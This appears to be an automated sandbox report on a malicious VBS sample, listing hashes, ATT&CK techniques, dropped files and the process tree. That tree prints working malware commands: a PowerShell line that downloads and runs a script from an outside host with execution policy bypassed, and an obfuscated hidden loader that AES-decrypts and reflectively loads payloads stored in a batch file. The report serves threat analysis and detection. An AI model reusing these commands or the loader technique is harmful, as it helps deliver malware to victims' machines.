1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe
2660	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2660	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2176	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 2268	2116	WScript.exe	30
PID 2116 wrote to memory of 2268	2116	WScript.exe	30
PID 2116 wrote to memory of 2268	2116	WScript.exe	30
PID 2268 wrote to memory of 2176	2268	cmd.exe	32
PID 2268 wrote to memory of 2176	2268	cmd.exe	32
PID 2268 wrote to memory of 2176	2268	cmd.exe	32
PID 2116 wrote to memory of 2592	2116	WScript.exe	34
PID 2116 wrote to memory of 2592	2116	WScript.exe	34
PID 2116 wrote to memory of 2592	2116	WScript.exe	34
PID 2592 wrote to memory of 2660	2592	cmd.exe	36
PID 2592 wrote to memory of 2660	2592	cmd.exe	36
PID 2592 wrote to memory of 2660	2592	cmd.exe	36
PID 2592 wrote to memory of 2660	2592	cmd.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UWTJHZ69X14Z6RXD0OLB.temp

Filesize
7KB

MD5
f9400a03c9d70b47662b2cd29ee6904e

SHA1
28b7b59a098f024a4d8fb1d6869a203563519a46

SHA256
f8955b97db862d9d92a6f70ee50b5b194e4105f1dfb4c41b53962e75091e04a6

SHA512
ab591f380d229f638592244c3d88d568dbe4eff4b639929d5a59e1ae9dc98b68e2f382c0b0c6ac102711b2518a7d7b4712a7f3a935b6db5832a5974b1fcf954d

Download Submit
memory/2176-4-0x000007FEF58BE000-0x000007FEF58BF000-memory.dmp

Filesize
4KB

Download
memory/2176-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2176-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2176-7-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-8-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-9-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-10-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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